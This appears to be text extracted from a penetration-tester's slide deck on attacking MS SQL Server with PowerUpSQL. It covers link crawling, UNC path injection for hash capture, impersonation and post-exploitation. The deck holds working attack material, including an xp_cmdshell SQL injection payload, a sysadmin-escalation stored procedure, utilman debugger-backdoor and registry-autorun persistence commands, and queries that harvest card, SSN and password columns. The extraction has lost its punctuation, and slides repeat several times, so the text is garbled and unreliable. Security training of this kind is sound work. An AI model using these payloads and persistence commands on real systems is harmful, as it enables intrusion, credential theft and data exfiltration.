HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
